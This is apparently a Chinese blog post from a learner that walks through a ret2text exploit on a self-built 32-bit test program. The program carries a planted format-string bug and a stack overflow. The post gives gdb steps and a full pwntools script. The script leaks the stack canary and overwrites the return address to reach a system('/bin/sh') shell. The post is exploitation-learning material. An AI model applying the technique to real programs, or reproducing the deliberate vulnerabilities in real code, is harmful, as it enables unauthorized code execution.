过canary保护的ret2text

记录学到的一个小demo

目标程序代码:

#include<stdio.h>
void target()
{
    system("/bin/sh");
}
void func()
{
    char str[0x10];
    read(0, str, 0x20);
    printf(str);
    read(0, str, 0x30);
}
int main()
{
    func();
    return 0;
}

gcc -m32 -no-pie -fstack-protector -o printf printf3.c 编译生成

使用gdb调试

运行到func函数<+27>处,查看[ebp-0xc],为canary值。

运行到第二个read函数处查看堆栈,此前我输入字符串“AAA”。

目的是通过read函数输入从而覆盖func函数的返回地址。

from pwn import *
p=process("./printf")
p.sendline("%11$08x") //泄漏canary的信息,距离栈顶15行
canary = p.recv()[:8] //只需要接收前8位的输出信息,即canary
print canary
canary=canary.decode("hex")[::-1] //计算机是小端存储,所以要转换成逆序
canary_offset = 4*4 //我们输入的字符串保存的位置距离canary
ret_offset=3*4 //返回地在间隔canary3行
exploit_address=p32(0x08049192) //func函数返回地址
payload=canary_offset*'a'+canary+ret_offset*'a'+exploit_address
p.sendline(payload)
p.interactive()

运行exp得到shell

 

posted @ 2020-03-15 16:42  An2i  阅读(160)  评论(0)    收藏  举报